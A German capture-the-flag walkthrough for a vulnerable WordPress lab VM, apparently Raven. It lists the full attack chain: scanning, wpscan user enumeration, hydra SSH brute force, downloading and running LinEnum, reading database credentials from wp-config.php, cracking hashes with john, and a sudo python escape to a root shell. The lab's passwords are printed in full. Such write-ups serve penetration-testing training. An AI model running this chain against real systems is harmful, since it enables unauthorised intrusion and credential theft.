Print
Category: Penetration testing
Hits: 32760

Reconnaissance:

Wie gehabt, dient uns netdiscover um die IP Adresse zu ermitteln. Dies setzt natürlich voraus, dass die VM zunächst heruntergeladen und in Virtual Box eingegliedert wurde. Die Ausgabe erfolgt tabellarisch und gibt in unserem Fall die Die Adresse 192.168.1.121 aus.

1) netdiscover

 

Portscanning / vulnerability scanning:

Im Anschluss verwenden wir nmap im Rahmen des Scannings nach Schwachstellen. Optional kann durch Hinzufügen der Option -p- ein weiterer offener Port identifiziert werden, welcher für den Remotezugriff auf das System dient, aber im Verlauf dieser Challenge keine Rolle spielt. Ansonsten dient die Option -A für eine erweiterte Ausgabe, welche  auch entsprechende Versionshinweise zu offenen Ports miteinschließt. Nach Abschluss des Scans liefert nmap einen offen Port 80, sowie die drei weiteren Ports 22, 111, 33318.

2) nmap -A -p- 192.168.1.121

Das Öffnen der IP-Adresse im Browser weist auf einen laufenden Webserver mit Wordpress als CMS hin.

3) 192.168.1.121 (im Browser öffnen)

Weitere Hinweise zum Webserver liefert ein im Anschluss durchgeführter Nikto scan, welcher uns auf einen Apache Server samt Verzeichnisstruktur hinweist. Neben einem Verzeichnis für CSS Daten werden auch ein /img und ein /manual Verzeichnis gefunden. Zur weiteren Analyse der Verzeichnisstruktur bietet es sich an, den dirbuster von Kali Linux einzusetzen. Nach am starten von der Kommandozeile erscheint die GUI, welche uns Einstellmöglichkeiten zur Anzahl der Threads und zur Auswahl der Verzeichnisliste während des Bruteforcescans bietet. Die Verzeichnisliste befindet sich in /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt. Der Start von dirbbuster setzt zudem eine vollständige Angabe der target URL voraus. Gleich zu Beginn liefert die Ausgabe von dirbuster den Hinweis auf die Verwendung einer WordPress Datei, welche wir im weiteren Verlauf weiter untersuchen werden. Zudem liefert der html Code des /service Verzeichnisses die erste der vier Flaggen (flag1).

4) nikto -h http://192.168.1.121

5) dirbuster

Da sowohl nikto scan als auch dirbuster uns wertvolle Informationen zur laufenden Diensten unseres Target lieferten, erfolgt nun im Anschluss ein wpscan. Um die Usernamen der WordPress Installation zu extrahieren, erfolgt der Start mit Hilfe der option -at -eu. Nach erfolgreicherem Durchlaufen liefert wpscan die zwei User steven und michael.

6) wpscan --url http://192.168.1.121/wordpress --wp-content-dir -at -eu

Die zu Beginn des Enummerationprozess erhaltenen Informationen über einen offenen ssh port dient nun im Folgenden einer bruteforce Attacke. Zur Vorbereitung wird eine txt Datei angelegt, welche die beiden Namen enthält. Dazu nutzen wir nano als Editor und schreiben die beiden Usernamen untereinander und speichern die Datei auf dem Desktop.

7) nano names.txt -> steven, michael reinschreiben

Die abgespeicherte Datei dient nun Hydra um eine brute force Attacke zu initiieren. Dazu starten wir hydra mit dem Befehl:

8) hydra -L ./Schreibtisch/names.txt -P usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.121

Bereits nach kurzer Zeit liefert hydra uns die Zugangsdaten für den ssh Zugang. Der Login erfolgt mit dem Benutzer michael und dem passwort michael.

9) ssh This email address is being protected from spambots. You need JavaScript enabled to view it.
    pw:michael

10) Nach dem Login liefert uns der Befehl pwd den Namen des aktuellen Verzeichnisses. Die Eingabe von id zeigt uns Benutzer und Gruppen ID, in unsrem Fall ein Benutzer bislang ohne root Rechte. Zusätzlich erhalten wir mit cat /etc/issue/ Informationen über das laufende Betriebssystem.

12) cat /etc/issue

Exploitation:

Im Rahmen der Exploitation nutzen wir das Bash Skript LinEnum, welches wir mit dem Befehl

 

12) wget https://raw.githubusercontent.com/rebootuser/LinEnum/masterlinEnum.sh

herunterladen und ausführbar machen.

13) chmod 775 linEnum.sh
 
Der Start von LinEnum liefert uns in den Ergebnissen die Information über ein SQL Server.

14) ./LinEnum.sh

Bevor wir uns jedoch mit SQL weiter beschäftigen liefert uns das Apache Installationspfad die zweite Flagge in dieser CTF Challenge. Dazu wechseln wir mit in das Verzeichnis

15) cd /var/www und Öffnen mit

16) cat flag2.txt die Textdatei.

Innerhalb desselben Verzeichnisses befindet sich unter /var/www/html/wordpress die Datei wp-config.php, welche zentrale Einstellungen für WordPress speichert. In dieser Datei befinden sich auch die Login Daten für die SQL Datenbank, nämlich WordPress für den Namen der Datenbank, sowie den Usernamen root mit dem zugehörigen Passwort R@v3nSecurity.

17) cd /var/www/html/wordpress 

18) nano wp-config.php net

Um nachzuschauen, dass tatsächlich ein SQL Server auf einem Port lauscht, nutzen wir den Befehl natast, welcher uns tabellarisch sämtlich Dienste mit den zugehörigen Ports auflistet.

19) netstat -antp

Im Folgenden loggen wir uns in die SQL Datenbank mit den soeben erhaltenen Login Daten ein.

20) mysql -u root -p wordpress -> passwort eingeben

Mit den folgenden Befehl manövrieren wir uns durch die Datenbank und erhalten im table wp_posts die Flaggen 3 und 4.

21) show databases;

22) use wordpress;

23) show tables;

24) select * from wp_posts; -> flag3 und flag4

Wir wiederholen die ersten drei Befehle und erhalten die Zugangsdaten von michael und steven und deren Passwörter im MD5(wordpress) Format.

25) show databases;

26) use wordpress;

27) show tables;

28) select * from wp_users; -> michael und steven email

Um nun vom Passwort hash auf das verwendete Passwort zurückzurechnen starten wir john. Dazu müssen wir vorher eine Textdatei mit dem Hash als Inhalt erstellen. Mit dem Befehl

29) john hash.txt

starten wir john und cracken des Passwort in diesem Fall von steven. Das erhaltenen Passwort lautet pink84. Dies erlaubt uns den Login mit steven

30) su steven

 

Privilege escalation:

Unsere Rechte reichen aus um Python zu starten und root Rechte zu erlangen.

31) cd /tmp -> sudo /usr/bin/python -> import os -> os.system('/bin/bash')

Abschließend öffnen wir die vierte Flagge flag4, welche sich im root Verzeichnis befindet:

32) cat flag4.txt